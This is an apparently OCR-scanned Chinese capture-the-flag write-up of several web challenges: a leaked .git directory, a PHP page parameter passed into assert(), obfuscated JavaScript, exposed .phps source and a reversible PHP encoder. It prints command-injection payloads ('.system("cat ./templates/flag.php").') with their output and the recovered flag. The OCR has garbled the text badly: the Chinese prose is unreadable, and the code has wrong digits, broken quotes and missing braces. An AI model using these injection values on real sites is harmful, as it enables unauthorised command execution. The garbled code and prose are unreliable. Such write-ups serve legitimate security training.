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About

I 'wrote this website all by myself in under a weekl

| used:

« Git
« PHP
» Bootstrap
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Index of /.git
Name Last modified Size Description

3 Parent Directory _

@ COMMIT EDITMSG 2018-10-04 12:57 25

? HeAD 2018-10-04 12:57 23
03 branches/ 201.8-10-04 12:57 -
@ config 2018-10-04 12:57 92
P description 2018-10-04 12:57 73
0 hooks/ 201.8-10-04 12:57 -
P index 2018-10-04 12:57 523
3 infos 201.8-10-04 12:57 -
3 logs/ 201.8-10-04 12:57 -
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& Findex.php
B<?php

Cif (isset($ GET['page’'])) {
$page = $ _GET[ page'];
} else {
$page = "home";

¥
$file = "templates/"” . $page . ".php";

// I heard '.." 1s dangerous!
assert("strpos('$file’, '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file exists('$file’')") or die("That file doesn't exist!");

L?>

page’ B &Rt M AL, B LART AR %S 5P A strpos R 3
% B page N'.system("cat ./templates/flag.php")., EE IHERY, A #HKEflag

oy B

".system("ls").'

index.php templates index.php templates That file doesn't exist!

".system("ls templates").'

OXLER®S @ FiFLE O FHMiIE O FEREE

about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist!

'.system("cat ./templates/flag.php").'
—EEBRPFNL, PRMTAT!

B \
HyalEsus @ FErE Osmnn Q srmsE '

{?php 3FLAG="cyberpeace {883d757e2a303eel0dleich60bel7220e}"; 7>
{?php $FLAG="cyberpeace {883d757e2a303ee0dle7cb60bel7220e}”; 2>
That file doesn t exist!
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<script> = 'function $(){He=BgetEle@ById("c").value;Hlength==16E"bedf23H233acBe98aa%Bc7bedl){BtEf1Es a
for (Y in $ = 'GEEE EEEEEEEE") with ( .split($[Y¥])) _ = join(pop());

eval(_)</script>



eval()2& kalert()rT % H function ) & %1
B# Hukconsole.log()

" localhost:63342 B =
function $(){var
e=document.getElementByld("c").value;if(e.length=="16)if(e.match(
f#be0f23/) =nulllifle.match(/233ac/)! = null)ifie.match(/e98aa$/!
=null)if{e.match{/c7bed/)!=null){var t=["f1","s_a","i","e} " T;var
n=["a""_h0l","n"Lvar r=["g{","e","_0"Lvar i=["it",”_","n"T:var
s=[t,n,ril:fortvar o=0:0<13:++o){document.write(s[o%4]
[01):s[0%4].splice(0, 1)}l document.write( <input id="c" > <button
onclick=5()>0k< /button="};delete _
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function $() {

var e = document.getElementById("c").value;

if (e.length == 16) if (e.match(/"be8f23/) != null) if (e.match(/233ac/)
var t = ["f1", "s_a", "i", "el}l"];
var n = ["a", "_hel", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o0 = 8; o < 13; ++o) {

document.write(s[o % 4][0]);

s[o % 4].splice(®, 1)

document.write('<input id="c">»<button onclick=%()>0k</button>"');

delete _
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var t = ["f1", "s_a", "i", "e}"];
var n = ["a", " _hel", "n"];

var r = ["g{", "e", "_08"];

var i = ["it'", "_", "n"];

var s = [t, n, r, i];

for (var o = 8; o < 13; ++o) {
document.write(s[o % 4][8]);
s[o % 4].splice(®, 1)

¥

console.log(s);
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phps 34t 2 phpRIVEARE U, EHEATRESGH . (Ui E&EphpfiE, FE AP LEEE#ETWebd
WAE BphpXHFH AR, BT EHphps XX R & . Kk, REANHphpECLER> #5483 MIME
RACNSCAFBITT, (BT EFRER, Frild B TphpsXFRE . BRMIMEZRER: text/html, application/x-
httpd-php-source, application/x-httpd-php3-source.

& KHEHwriteup f&33 B F43HRindex phps, R R BEHHBAS, WEEB EREET
dirsearchfis 45 > —T: Hpython3

python dirsearch.py -u url -e*

A N—NMidIH HXANdBEAT url ##85 f5 {8 Jyadmin

BIATEN WA A adminit, 3 328 & adminBk 4T — Rurl f# 55

Jit A 75 ZE it adminiE AT PE kurl i 9 4 T

urldecode($_GET]id]) ----—-- >urlf@hg
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<?php
$miwen="31zLbgQsCESEIgRLwuQAyMwLyo2LoVwBrafAZRQAyUmZ 0tmMvSEM2ZwB4tws" ;

function encode($str) {

$_o=strrev(§str) ;

for(§ 0=0:5 0<strlen($ o) § 0++){

$ c=substr($ 0,5 0,1);
$ =ord(8 c)+1:

$ c=chr($_):
§=5_.% c:

return str_rotl3(strrev(baseb4d encode($_))):

highlight_file(_ FILE_);

T

a3 E s R PHP A B B 4k

strrev(string): JR # ¥ 75 &
strlen(string): iR [B] 7 74 & K B
substr(string, start, length): i& [E] 4% & i) — &8 4
o string: BT &% E W F 55 5
o start: FEFFF R AT
e length: Ali&. MEHIREZRFERKE. RAREIZ/RENLERE

ord(string): & 5 =¥ 5 B AN #F ) ASCIHE
chr(): \3E 52 59 ASCIIME IR [B] % B f 7 7%
str_rot13(string): X} F4F & $14T ROT13 4fid o
¢ ROT13 BB —NEBEFRRFHATHES) 13 NFEE. BFENEFFEZRFRELE
o RIDAFILA R B IZRE TR . WRIECHEBHFZHFEIEASE, BAKRERIEFRFS

base64_encode(string): f# F§ MIME base64 Xt #4317 415

$miwen="alzLbgQsCESEIqRLWUQAYMWLYG2L5VWBXqGA3RQAYUMZOtmMYSGM2ZwB4tws " ;

$a = base64_decode(strrev(str_rotl3($miwen)));
¢fin = "";
for($x=0; $x<strlen(%$a); $x++) {
$c = substr(%$a,$x,1);
$_ = ord(%$c)-1;
$_c = chr($_);
$fin = $fin.$_c;
}

echo strrev($fin);
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